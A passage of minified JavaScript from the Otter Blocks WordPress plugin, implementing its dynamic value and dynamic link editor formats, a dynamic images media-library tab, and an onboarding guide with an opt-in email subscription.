Time","otter-blocks"),value:"time"},{label:(0,s.__)("URL Parameter","otter-blocks"),value:"queryString",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Country","otter-blocks"),value:"country",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}]}};let qe=[];Object.keys(Ze).forEach((e=>qe.push(...Ze[e].options))),qe=[...qe.filter((e=>!0!==e.isDisabled)),...qe.filter((e=>!0===e.isDisabled))];const Ye={name:"dynamic-value",triggerPrefix:"%",options:qe,className:"o-dynamic",getOptionKeywords({label:e,value:t}){return[e,...t.split(/\s+/)]},getOptionLabel:e=>(0,o.createElement)("span",{className:f()("o-dynamic-list-item",{"is-disabled":e.isDisabled})},e.label),isOptionDisabled:e=>e.isDisabled,getOptionCompletion:({label:e,value:t})=>{const{getSelectedBlock:l,getBlockParentsByBlockName:a}=(0,n.select)("core/block-editor"),r=l();return 0<a(r?.clientId,"core/query").length?(0,o.createElement)("o-dynamic",{"data-type":t,"data-context":"query"},e):(0,o.createElement)("o-dynamic",{"data-type":t},e)}};(0,p.addFilter)("editor.Autocomplete.completers","otter-pro/autocompleters/dynamic-value",(e=>[...e,Ye]));var Ke=l(8766),Je=l(6292),Xe=l.n(Je);let Qe=["postExcerpt","date","time"];const et={"F j, Y":Xe()().format("MMMM d, Y"),"Y-m-d":Xe()().format("Y-m-d"),"m/d/Y":Xe()().format("m/d/Y"),"d/m/Y":Xe()().format("d/m/Y")},tt={"g:i a":Xe()().format("h:m a"),"g:i A":Xe()().format("h:m A"),"H:i":Xe()().format("HH:m")};var lt=({activeAttributes:e,attributes:t,changeAttributes:l,isInline:r=!1,onChange:i,changeType:d,onRemove:m})=>{const[g,h]=(0,b.useState)(),[k,y]=(0,b.useState)(!1);(0,b.useEffect)((()=>{const e=(0,n.select)("core/editor")?.getCurrentPostId(),{type:l,taxonomy:o,termType:a}=t;t.type&&"none"!==t.type?(y(!0),u()({path:"otter/v1/dynamic/preview/?"+(0,T.Jc)({context:e,type:l})}).then((e=>{h(e)})).catch((()=>{h(void 0)})).finally((()=>{y(!1)}))):h(void 0)}),[t.type]),Qe=(0,p.applyFilters)("otter.dynamicContent.text.hasSettingsPanel",Qe);const v=(0,p.applyFilters)("otter.dynamicContent.text.options",Ze);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,null,(0,o.createElement)("p",null,(0,s.__)("Bind page elements with dynamic data from your website database.","otter-blocks")),(0,o.createElement)(a.ExternalLink,{target:"_blank",rel:"noopener noreferrer",href:"https://docs.themeisle.com/article/1478-otter-blocks-documentation#dynamicvalues"},(0,s.__)("Learn more about Dynamic Values","otter-blocks")),(0,o.createElement)("br",null),(0,o.createElement)("br",null),(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Data Type","otter-blocks"),id:"o-dynamic-select"},(0,o.createElement)("select",{value:t.type||"",onChange:e=>d(e.target.value),id:"o-dynamic-select",className:"components-select-control__input"},(0,o.createElement)("option",{value:"none"},(0,s.__)("Select an option","otter-blocks")),Object.keys(v).map((e=>(0,o.createElement)("optgroup",{key:e,label:v[e].label},v[e].options.map((e=>(0,o.createElement)("option",{key:e.value,value:e.value,disabled:e?.isDisabled},e.label," ",e?.isDisabled&&(0,s.__)("(Pro)","otter-blocks")))))))),"postContent"===t.type&&(0,o.createElement)("p",null,(0,s.__)("Post Content can cause an infinite loop when used inside Post Content itself.","otter-blocks"))),(void 0!==g||k)&&(0,o.createElement)("div",{className:"o-dynamic-modal__preview"},(0,o.createElement)("div",{className:f()("o-dynamic-modal__preview__content",{"is-loading":k})},k?(0,o.createElement)(a.Spinner,null):g||(0,s.__)("No preview available.","otter-blocks")),(0,o.createElement)("div",{className:"o-dynamic-modal__preview__description"},(0,s.__)("Dynamic Value preview","otter-blocks"))),!Boolean(window.themeisleGutenberg.hasPro)&&(0,o.createElement)(Ae.Z,{notice:(0,o.createElement)(a.ExternalLink,{href:(0,T.Wi)(window.themeisleGutenberg.upgradeLink,"dynamictext")},(0,s.__)("Unlock more options with Otter Pro. ","otter-blocks")),variant:"upsell"}),(0,p.applyFilters)("otter.dynamicContent.text.notices","")),Qe.includes(t.type)&&(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),initialOpen:!1},"postExcerpt"===t.type&&(0,o.createElement)(a.TextControl,{label:(0,s.__)("Excerpt Length","otter-blocks"),type:"number",value:t.length||"",onChange:e=>l({length:e})}),["date"].includes(t.type)&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Format","otter-blocks"),value:t.dateFormat||"default",options:[{label:(0,s.__)("Default","otter-blocks"),value:"default"},...Object.keys(et).map((e=>({label:et[e],value:e}))),{label:(0,s.__)("Custom","otter-blocks"),value:"custom"}],onChange:e=>l({dateFormat:e})}),"custom"===t.dateFormat&&(0,o.createElement)(a.TextControl,{label:(0,s.__)("Custom Format","otter-blocks"),help:(0,o.createElement)(a.ExternalLink,{target:"_blank",href:"https://wordpress.org/support/article/formatting-date-and-time/"},(0,s.__)("Formatting Date and Time in WordPress","otter-blocks")),type:"text",value:t.dateCustom||"",onChange:e=>l({dateCustom:e})})),["time"].includes(t.type)&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.SelectControl,{label:(0,s.__)("Format","otter-blocks"),value:t.timeFormat||"default",options:[{label:(0,s.__)("Default","otter-blocks"),value:"default"},...Object.keys(tt).map((e=>({label:tt[e],value:e}))),{label:(0,s.__)("Custom","otter-blocks"),value:"custom"}],onChange:e=>l({timeFormat:e})}),"custom"===t.timeFormat&&(0,o.createElement)(a.TextControl,{label:(0,s.__)("Custom Format","otter-blocks"),help:(0,o.createElement)(a.ExternalLink,{target:"_blank",href:"https://wordpress.org/support/article/formatting-date-and-time/"},(0,s.__)("Formatting Date and Time in WordPress","otter-blocks")),type:"text",value:t.timeCustom||"",onChange:e=>l({timeCustom:e})})),(0,p.applyFilters)("otter.dynamicContent.text.controls","",t,l)),(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Advanced","otter-blocks"),initialOpen:!1},(0,o.createElement)(a.TextControl,{label:(0,s.__)("Before","otter-blocks"),type:"text",value:t.before||"",onChange:e=>l({before:e})}),(0,o.createElement)(a.TextControl,{label:(0,s.__)("After","otter-blocks"),type:"text",value:t.after||"",onChange:e=>l({after:e})})),(0,o.createElement)(a.PanelBody,null,(0,o.createElement)(a.ButtonGroup,null,(0,o.createElement)(a.Button,{isPrimary:!0,variant:"primary",disabled:(0,c.isEmpty)(t)||(0,c.isEqual)(t,e),onClick:i},(0,s.__)("Apply","otter-blocks")),r&&(0,o.createElement)(a.Button,{isDestructive:!0,variant:"tertiary",onClick:m},(0,s.__)("Delete","otter-blocks"))),(0,o.createElement)("div",{className:"o-fp-wrap"},(0,p.applyFilters)("otter.feedback","","dynamic-value"),(0,p.applyFilters)("otter.poweredBy",""))))},ot=({name:e,value:t,activeAttributes:l,contentRef:r,Fields:i,settings:c,onChange:d})=>{const{visiblePopover:u}=(0,n.useSelect)((e=>{const{getVisiblePopover:t}=e("themeisle-gutenberg/data");return{visiblePopover:t()}})),{setVisiblePopover:m}=(0,n.useDispatch)("themeisle-gutenberg/data"),[p,g]=(0,b.useState)({...l});(0,b.useEffect)((()=>{g({...l})}),[l]);const h=(0,Ue.useAnchorRef)({ref:r,value:t,settings:c}),k=Boolean(t?.formats.length)&&t?.start?t.formats[t.start]?.map((e=>e.type)):[],y=void 0!==k&&Boolean(k.length)&&k.includes("themeisle-blocks/dynamic-value")&&k.includes("themeisle-blocks/dynamic-link");return(0,o.createElement)(a.Popover,{position:"bottom center right",placement:"bottom",noArrow:!1,anchor:h,anchorRef:h,focusOnMount:!1,className:f()("o-dynamic-popover",{hidden:y&&e!==u})},(0,o.createElement)(i,{activeAttributes:l,attributes:p,changeAttributes:e=>{let t={...p};Object.keys(e).forEach((l=>{t[l]=e[l]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),g({...t})},changeType:e=>{g({type:e})},isInline:!0,onChange:()=>{const l=Object.fromEntries(Object.entries(p).filter((([e,t])=>null!==t&&""!==t)));d((0,Ue.applyFormat)(t,{type:e,attributes:l}))},onRemove:()=>{const l=Object.fromEntries(Object.entries(p).filter((([e,t])=>null!==t&&""!==t)));d((0,Ue.toggleFormat)(t,{type:e,attributes:l}))}}),y&&(0,o.createElement)(a.Button,{onClick:()=>m("themeisle-blocks/dynamic-value"===e?"themeisle-blocks/dynamic-link":"themeisle-blocks/dynamic-value"),className:"o-dynamic-popover-toggle"},"themeisle-blocks/dynamic-value"===e?(0,s.__)("Show Dynamic Link Settings","otter-blocks"):(0,s.__)("Show Dynamic Value Settings","otter-blocks")))};const at="themeisle-blocks/dynamic-value",nt={name:at,title:(0,s.__)("Dynamic Value","otter-blocks"),tagName:"o-dynamic",className:null,attributes:{type:"data-type",context:"data-context",before:"data-before",after:"data-after",length:"data-length",dateType:"data-date-type",dateFormat:"data-date-format",dateCustom:"data-date-custom",timeType:"data-time-type",timeFormat:"data-time-format",timeCustom:"data-time-custom",termType:"data-term-type",termSeparator:"data-term-separator",metaKey:"data-meta-key",parameter:"data-parameter",format:"data-format",taxonomy:"data-taxonomy"},edit:({isActive:e,value:t,onChange:l,activeAttributes:r,contentRef:i})=>{const{isQueryChild:c}=(0,n.useSelect)((e=>{const{getSelectedBlock:t,getBlockParentsByBlockName:l}=e("core/block-editor"),o=t();return{isQueryChild:0<l(o?.clientId,"core/query").length}}),[]),[d,u]=(0,b.useState)(!1),[m,g]=(0,b.useState)({});return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.RichTextToolbarButton,{icon:Ke.Z,title:(0,s.__)("Dynamic Value","otter-blocks"),onClick:()=>u(!0),isDisabled:e,isActive:e}),d&&(0,o.createElement)(a.Modal,{title:(0,s.__)("Dynamic Value by Otter","otter-blocks"),overlayClassName:"o-dynamic-modal",onRequestClose:()=>u(!1)},(0,o.createElement)(lt,{activeAttributes:r,attributes:m,changeAttributes:e=>{let t={...m};Object.keys(e).forEach((l=>{t[l]=e[l]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),g({...t})},changeType:e=>{g({type:e})},onChange:()=>{const e=[],o=Object.fromEntries(Object.entries(m).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));if(t.start===t.end){const l=(0,p.applyFilters)("otter.dynamicContent.text.options",Ze);Object.keys(l).forEach((t=>e.push(...l[t].options)));const a=e.find((e=>e.value===o.type)).label;t.text=t.text.substring(0,t.start)+a+t.text.substring(t.start),t.end=a.length+t.start,t.formats.splice(t.start,0,...new Array(a.length)),t.replacements.splice(t.start,0,...new Array(a.length))}c&&(o.context="query"),l((0,Ue.toggleFormat)(t,{type:"themeisle-blocks/dynamic-value",attributes:o})),u(!1)}})),e&&(0,o.createElement)(ot,{name:at,value:t,activeAttributes:r,contentRef:i,Fields:lt,settings:nt,onChange:l}))}};(0,Ue.registerFormatType)(at,nt);const rt={},it=(e,t)=>{const l=document.createElement("div");l.innerHTML=t,t=l.textContent||l.innerText,Boolean(window.themeisleGutenberg.highlightDynamicText)||e.classList.add("hide-highlight"),e.innerHTML="<span>"+e.innerHTML+"</span>",e.dataset.preview=t},st=(0,Z.createHigherOrderComponent)((e=>t=>{if(!t.isSelected){const l=`block-${t.clientId}`,a=document.querySelectorAll(`#${l} o-dynamic`);return a?.length?(a.forEach((e=>{const t=(0,n.select)("core/editor").getCurrentPostId(),l=(0,c.pick)(Object.assign({context:t},e.dataset),["type","context","before","after","length","dateType","dateFormat","dateCustom","timeType","timeFormat","timeCustom","termType","termSeparator","metaKey","taxonomy"]);if("postContent"===l.type)return;let o=(0,n.select)("themeisle-gutenberg/data").getDynamicData(l);if(void 0!==o)it(e,o);else{const t=de()(l);if(rt[t])rt[t].push(e);else{rt[t]=[e];const a=setInterval((()=>{o=(0,n.select)("themeisle-gutenberg/data").getDynamicData(l),void 0!==o&&(clearInterval(a),rt[t].forEach((e=>it(e,o))),delete rt[t])}),5e3)}}})),(0,o.createElement)(e,{...t})):(0,o.createElement)(e,{...t})}return(0,o.createElement)(e,{...t})}),"withStickyExtension");Boolean(window.themeisleGutenberg.isBlockEditor)&&(0,n.select)("core/editor")&&(0,p.addFilter)("editor.BlockEdit","themeisle-gutenberg/dynamic-conditions/preview",st);var ct=[{label:(0,s.__)("Post URL","otter-blocks"),value:"postURL"},{label:(0,s.__)("Site URL","otter-blocks"),value:"siteURL"},{label:(0,s.__)("Featured Image URL","otter-blocks"),value:"featuredImageURL"},{label:(0,s.__)("Author URL","otter-blocks"),value:"authorURL"},{label:(0,s.__)("Author Website","otter-blocks"),value:"authorWebsite"},{label:(0,s.__)("Post Custom Field","otter-blocks"),value:"postMetaURL",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)},{label:(0,s.__)("Advanced Custom Fields","otter-blocks"),value:"acfURL",isDisabled:!Boolean(window.themeisleGutenberg.isProActive)}],dt=({activeAttributes:e,attributes:t,changeAttributes:l,isInline:n=!1,isLinkControl:r=!1,onChange:i,changeType:d,onRemove:u})=>{const m=(0,p.applyFilters)("otter.dynamicContent.link.hasSettingsPanel",[]),g=(0,p.applyFilters)("otter.dynamicContent.link.options",ct);return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(a.PanelBody,null,(0,o.createElement)("p",null,(0,s.__)("Bind page elements with dynamic data from your website database.","otter-blocks")),(0,o.createElement)(a.ExternalLink,{target:"_blank",rel:"noopener noreferrer",href:"https://docs.themeisle.com/article/1478-otter-blocks-documentation#dynamiclinks"},(0,s.__)("Learn more about Dynamic Links","otter-blocks")),(0,o.createElement)("br",null),(0,o.createElement)("br",null),(0,o.createElement)(a.BaseControl,{label:(0,s.__)("Data Type","otter-blocks"),id:"o-dynamic-select"},(0,o.createElement)("select",{value:t.type||"",onChange:e=>{window.oTrk?.add({feature:"dynamic",featureComponent:"link-option",featureValue:e.target.value}),d(e.target.value)},id:"o-dynamic-select",className:"components-select-control__input"},(0,o.createElement)("option",{value:"none"},(0,s.__)("Select an option","otter-blocks")),g.map((e=>(0,o.createElement)("option",{key:e.value,value:e.value,disabled:e?.isDisabled},e.label," ",e?.isDisabled&&(0,s.__)("(Pro)","otter-blocks")))))),!r&&(0,o.createElement)(b.Fragment,null,(0,o.createElement)("br",null),(0,o.createElement)(a.ToggleControl,{label:(0,s.__)("Open in a new tab","otter-blocks"),checked:"_blank"===t.target||!1,onChange:()=>l({target:"_blank"===t.target?void 0:"_blank"})})),!Boolean(window.themeisleGutenberg.hasPro)&&(0,o.createElement)(Ae.Z,{notice:(0,o.createElement)(a.ExternalLink,{href:window.themeisleGutenberg.upgradeLink},(0,s.__)("Unlock more options with Otter Pro. ","otter-blocks")),variant:"upsell"}),(0,p.applyFilters)("otter.dynamicContent.link.notices","")),m.includes(t.type)&&(0,o.createElement)(a.PanelBody,{title:(0,s.__)("Settings","otter-blocks"),initialOpen:!1},(0,p.applyFilters)("otter.dynamicContent.link.controls","",t,l)),(0,o.createElement)(a.PanelBody,null,(0,o.createElement)(a.ButtonGroup,null,(0,o.createElement)(a.Button,{isPrimary:!0,variant:"primary",disabled:(0,c.isEmpty)(t)||(0,c.isEqual)(t,e),onClick:i},(0,s.__)("Apply","otter-blocks")),(n||r)&&(0,o.createElement)(a.Button,{isDestructive:!0,variant:"tertiary",onClick:u},(0,s.__)("Delete","otter-blocks"))),(0,o.createElement)("div",{className:"o-fp-wrap"},(0,p.applyFilters)("otter.feedback","","dynamic-link"),(0,p.applyFilters)("otter.poweredBy",""))))};const ut="themeisle-blocks/dynamic-link",bt={name:ut,title:(0,s.__)("Dynamic link","otter-blocks"),tagName:"o-dynamic-link",className:null,attributes:{type:"data-type",context:"data-context",target:"data-target",metaKey:"data-meta-key"},edit:({isActive:e,value:t,onChange:l,activeAttributes:r,contentRef:i})=>{const{isQueryChild:c}=(0,n.useSelect)((e=>{const{getSelectedBlock:t,getBlockParentsByBlockName:l}=e("core/block-editor"),o=t();return{isQueryChild:0<l(o?.clientId,"core/query").length}}),[]),[d,u]=(0,b.useState)(!1),[m,p]=(0,b.useState)({});return(0,o.createElement)(b.Fragment,null,(0,o.createElement)(E.RichTextToolbarButton,{icon:Ke.Z,title:(0,s.__)("Dynamic Link","otter-blocks"),onClick:()=>u(!0),isDisabled:e,isActive:e}),d&&(0,o.createElement)(a.Modal,{title:(0,s.__)("Dynamic Link by Otter","otter-blocks"),overlayClassName:"o-dynamic-modal",onRequestClose:()=>u(!1)},(0,o.createElement)(dt,{activeAttributes:r,attributes:m,changeAttributes:e=>{let t={...m};Object.keys(e).forEach((l=>{t[l]=e[l]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),p({...t})},changeType:e=>{p({type:e})},onChange:()=>{const e=Object.fromEntries(Object.entries(m).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));c&&(e.context="query"),l((0,Ue.toggleFormat)(t,{type:"themeisle-blocks/dynamic-link",attributes:e})),u(!1)}})),e&&(0,o.createElement)(ot,{name:ut,value:t,activeAttributes:r,contentRef:i,Fields:dt,settings:bt,onChange:l}))}};(0,Ue.registerFormatType)(ut,bt);const mt={"core/button":{link:"url"},"themeisle-blocks/button":{link:"link"},"themeisle-blocks/font-awesome-icons":{link:"link"}},pt=({props:e,children:t})=>{const l=((e,t)=>{const l=e[mt[t].link]||"";return l.includes("#otterDynamicLink")?(0,T._Z)(l):{}})(e.attributes,e.name),[r,i]=(0,b.useState)(!1),[c,d]=(0,b.useState)({...l}),u=(0,b.useRef)(null),{isQueryChild:m}=(0,n.useSelect)((t=>{const{getBlockParentsByBlockName:l}=t("core/block-editor");return{isQueryChild:0<l(e.clientId,"core/query").length}}),[]);return(0,o.createElement)(b.Fragment,null,t,(0,o.createElement)(E.BlockControls,null,(0,o.createElement)(a.ToolbarGroup,null,(0,o.createElement)(a.ToolbarButton,{name:"dynamic-link",icon:Ke.Z,title:(0,s.__)("Dynamic Link","otter-blocks"),ref:u,onClick:()=>i(!r)}))),r&&e.isSelected&&(0,o.createElement)(a.Popover,{position:"bottom right",anchorRef:u.current,className:"o-dynamic-popover",onClose:()=>i(!1)},(0,o.createElement)(dt,{activeAttributes:l,attributes:c,isLinkControl:!0,changeAttributes:e=>{let t={...c};Object.keys(e).forEach((l=>{t[l]=e[l]})),t=Object.fromEntries(Object.entries(t).filter((([e,t])=>null!==t&&""!==t&&void 0!==t))),d({...t})},changeType:e=>{d({type:e})},onChange:()=>{const t=Object.fromEntries(Object.entries(c).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));m&&(t.context="query"),e.setAttributes({[mt[e.name].link]:`#otterDynamicLink?${(0,T.Jc)(t)}`})},onRemove:()=>{d({}),e.setAttributes({[mt[e.name].link]:void 0})}})))},gt=(0,Z.createHigherOrderComponent)((e=>t=>Object.keys(mt).includes(t.name)?(0,o.createElement)(pt,{props:t},(0,o.createElement)(e,{...t})):(0,o.createElement)(e,{...t})),"withConditions");(0,p.addFilter)("editor.BlockEdit","otter-pro/autocompleters/dynamic-link",gt);const ht=[{type:"featuredImage",label:(0,s.__)("Featured Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/featured.svg"},{type:"author",label:(0,s.__)("Author Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/author.svg"},{type:"loggedInUser",label:(0,s.__)("User Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/user.svg"},{type:"logo",label:(0,s.__)("Website Logo","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/logo.svg"},{type:"postMeta",label:(0,s.__)("Post Meta","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/meta.svg",isPro:!0},{type:"product",label:(0,s.__)("Woo Product","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/woo.svg",isPro:!0},{type:"acf",label:(0,s.__)("ACF Image","otter-blocks"),icon:window.themeisleGutenberg.assetsPath+"/icons/acf.svg",isPro:!0}],kt=window.themeisleGutenberg.restRoot.includes("?rest_route=")?"/dynamic/&":"/dynamic/?",yt=({uid:e,item:t,context:l,isSelected:a,onSelect:n})=>{const r=window.themeisleGutenberg.restRoot+kt+"type="+t.type+"&context="+l+"&uid="+e,i=void 0!==t?.isAvailable&&!t?.isAvailable;return(0,o.createElement)("li",{tabIndex:"0",className:f()("o-media-item",{selected:a,"is-disabled":t?.isPro||i}),onClick:()=>i||t?.isPro?null:n(r,a),title:t.label,style:{backgroundImage:`url(' ${t.icon} ')`}},(0,o.createElement)("div",{className:"o-media-item-title"},t.label),t?.isPro&&(0,o.createElement)("span",{className:"o-media-item-label"},(0,s.__)("Pro","otter-blocks")),i&&(0,o.createElement)("span",{className:"o-media-item-label"},(0,s.__)("Plugin not active","otter-blocks")),a&&(0,o.createElement)("button",{type:"button",className:"check",tabIndex:"-1",onClick:()=>{window.oTrk?.add({feature:"dynamic",featureComponent:"media-option",featureValue:t?.type}),n(r,!0)}},(0,o.createElement)("span",{className:"media-modal-icon"}),(0,o.createElement)("span",{className:"screen-reader-text"},(0,s.__)("Deselect","otter-blocks"))))},ft=({contentTypes:e,attributes:t,changeAttributes:l})=>{const n=e.find((({type:e})=>e===t.type));return(0,o.createElement)(b.Fragment,null,(0,o.createElement)("div",{className:"attachment-details"},n&&(0,o.createElement)("h2",null,n?.label)),(0,p.applyFilters)("otter.dynamicContent.media.controls","",t,l),n&&(0,o.createElement)(a.TextControl,{label:(0,s.__)("Fallback Image","otter-blocks"),value:t.fallback||"",onChange:e=>l({fallback:e})}),!Boolean(window.themeisleGutenberg.hasPro)&&(0,o.createElement)("div",{className:"o-media-pro-upsell"},(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/logo-alt.png"}),(0,o.createElement)("div",{className:"o-media-pro-upsell-title"},(0,s.__)("Get more with Otter Pro","otter-blocks")),(0,o.createElement)("div",{className:"o-media-pro-upsell-description"},(0,s.__)("Unlock the full power of Dynamic images with Otter Pro","otter-blocks")),(0,o.createElement)(a.Button,{isPrimary:!0,target:"_blank",href:(0,T.Wi)(window.themeisleGutenberg.upgradeLink,"dynamicimage")},(0,s.__)("Get Pro Now","otter-blocks"))))};var vt=({state:e,onSelectImage:t})=>{const l=e.get("selection"),{getCurrentPostId:a,getSelectedBlock:r,isQueryChild:i}=(0,n.useSelect)((e=>{const t=e("core/editor")?e("core/editor").getCurrentPostId():0,{getSelectedBlock:l,getBlockParentsByBlockName:o}=e("core/block-editor"),a=l();return{getCurrentPostId:t||0,getSelectedBlock:a,isQueryChild:0<o(a?.clientId,"core/query").length}}),[]),[c,d]=(0,b.useState)([]),[u,m]=(0,b.useState)(l?._single?.attributes?.url),[g,h]=(0,b.useState)({}),[k,y]=(0,b.useState)(Math.floor(89999999*Math.random()+1e7));(0,b.useEffect)((()=>{const e=(0,p.applyFilters)("otter.dynamicContent.media.options",ht);if(d(e),void 0===window?.otterCurrentMediaProps?.value||8!==String(window?.otterCurrentMediaProps?.value).length)return;const t=r.attributes;let l="";Object.keys(t).every((e=>"string"==typeof t[e]&&t[e]?.includes("otter/v1/dynamic")&&t[e]?.includes(window.otterCurrentMediaProps.value)?(l=t[e],!1):"object"!=typeof t[e]||!t[e]?.url?.includes("otter/v1/dynamic")||!t[e]?.url?.includes(window.otterCurrentMediaProps.value)||(l=t[e]?.url,!1)));const o=(0,T._Z)(l||"");o.uid=k;const a=window.themeisleGutenberg.restRoot+kt+(0,T.Jc)(o);f(a),window.otterCurrentMediaProps={}}),[]),(0,b.useEffect)((()=>{const e=(0,T._Z)(u||"");h(e)}),[u]);const f=(e,l=!1)=>(m(!l&&e),t({id:k,url:e}));return(0,o.createElement)(b.Fragment,null,(0,o.createElement)("div",{className:"attachments-browser"},(0,o.createElement)("ul",{className:"o-media-list"},c.map((e=>{return(0,o.createElement)(yt,{key:e.type,uid:k,item:e,context:i?"query":a,isSelected:!!u&&u?.includes(`${t=u,t.includes("?rest_route=")?"/dynamic/&":"/dynamic/?"}type=${e.type}`),onSelect:f});var t}))),(0,p.applyFilters)("otter.poweredBy","")),(0,o.createElement)("div",{className:"media-sidebar"},(0,o.createElement)(ft,{contentTypes:c,attributes:g,changeAttributes:e=>{let l={...g};Object.keys(e).forEach((t=>{l[t]=e[t]})),l=Object.fromEntries(Object.entries(l).filter((([e,t])=>null!==t&&""!==t&&void 0!==t)));const o=window.themeisleGutenberg.restRoot+kt+(0,T.Jc)(l);t({id:k,url:o}),h({...l})}}),(0,p.applyFilters)("otter.feedback","","dynamic-media",(0,s.__)("Help us improve Otter Blocks","otter-blocks"))))};let _t="",Ct=!1,wt="";(0,p.addFilter)("editor.MediaUpload","themeisle-blocks/dynamic-content/media-library",(e=>class extends e{constructor(e){super(e),window.otterCurrentMediaProps=e}})),jQuery(document).ready((function(e){const t=wp.media.view.MediaFrame.Select;wp.media.view.MediaFrame.Select=t.extend({browseRouter(e){t.prototype.browseRouter.apply(this,arguments),(0,n.select)("core/block-editor").getSelectedBlock()&&e.set({otterDynamicImages:{text:(0,s.__)("Dynamic Images","otter-blocks"),priority:60}})},bindHandlers(){t.prototype.bindHandlers.apply(this,arguments),wp.data.select("core/block-editor").getSelectedBlock()&&this.on("content:create:otterDynamicImages",this.otterDynamicImages,this)},otterDynamicImages(){const e=this.state();e&&(_t=e.id,Ct=e.frame.el),wt=this,window.omodal=this},getFrame(e){return this.states.findWhere({id:e})}});const l=()=>{const e=a();if(!Ct)return!1;const t=Ct.querySelector(".media-frame-content");if(!t)return!1;t.innerHTML="",t.appendChild(e);const l=t.querySelector("#otter-media-router-"+_t);if(!l)return!1;r(l)},a=()=>{const e=document.createElement("div");e.classList.add("o-media-container");const t=document.createElement("div");t.classList.add("media-frame-content","o-media-wrapper");const l=document.createElement("div");return l.setAttribute("id","otter-media-router-"+_t),t.appendChild(l),e.appendChild(t),e},r=e=>{const t=wt.state(),l=t.get("selection");(0,b.createRoot)(e).render((0,o.createElement)(vt,{state:t,onSelectImage:({id:e,url:t})=>{if(l?._single?.attributes?.url===t)return l.reset();l.add({id:e,url:t,alt:"",media_type:"image",width:500})}}))};wp.media.view.Modal.prototype.on("open",(()=>{if(!Ct)return!1;let e=Ct.querySelector(".media-router button.media-menu-item.active");e&&"menu-item-otterDynamicImages"===e.id&&l()})),e(document).on("click",".media-router button.media-menu-item",(()=>{if(!Ct)return;const e=Ct.querySelector(".media-router button.media-menu-item.active");e&&"menu-item-otterDynamicImages"===e.id&&l()}))}));const Et=()=>{const[e,t,l]=(0,W.Z)(),[r,i]=(0,b.useState)(""),[c,d]=(0,b.useState)(!0),[u,m]=(0,b.useState)(!1),{currentUser:p,site:g}=(0,n.useSelect)((e=>{const{getCurrentUser:t,getUser:l}=e("core"),{getSite:o}=e("core");return{currentUser:l(t().id),site:o()?.url||window.themeisleGutenberg?.rootUrl}})),{createNotice:h}=(0,n.useDispatch)("core/notices"),{showOnboarding:k}=(0,n.useDispatch)("themeisle-gutenberg/data");return(0,b.useEffect)((()=>{""===r&&void 0!==p&&i(p.email)}),[p]),(0,o.createElement)(a.Guide,{className:"o-welcome-guide",finishButtonText:c?(0,s.__)("Subscribe & Finish","otter-blocks"):(0,s.__)("Finish","otter-blocks"),onFinish:e=>{k(!1),localStorage?.setItem("o-show-onboarding","false"),u&&t("otter_blocks_logger_flag","yes"),e?.target&&c&&Array.from(e.target.classList).includes("components-guide__finish-button")&&fetch("https://api.themeisle.com/tracking/subscribe",{method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json, */*;q=0.1","Cache-Control":"no-cache"},body:JSON.stringify({slug:"otter-blocks",site:g,email:r})}).then((e=>e.json())).then((e=>{"success"===e.code&&h("success",(0,s.__)("Thank you for subscribing!","otter-blocks"),{isDismissible:!0,type:"snackbar"})}))?.catch((e=>{console.error(e)}))},pages:[{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-logo.png"}),content:(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Welcome to Otter Blocks","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Otter is a lightweight, dynamic collection of page building blocks and templates for the WordPress Block Editor.","otter-blocks")))},{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-ai.png"}),content:(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Create amazing things in less time with AI","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Supercharge your productivity with our new AI Block, which can generate forms for you in seconds. More features are coming soon.","otter-blocks")))},{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-section.png"}),content:(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Create unique pages with the Section Block","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Section Block allows you to create responsive sections with up to 6 columns that have advanced customization options.","otter-blocks")))},{image:(0,o.createElement)("img",{src:window.themeisleGutenberg.assetsPath+"/images/guide/welcome-css.png"}),content:(0,o.createElement)(b.Fragment,null,(0,o.createElement)("h1",{className:"o-welcome-guide__heading"},(0,s.__)("Extend each block with more powerful features","otter-blocks")),(0,o.createElement)("p",{className:"o-welcome-guide__text"},(0,s.__)("Otter adds extra functionalities such as Custom CSS, Animations and Visibility Conditions to default and third party 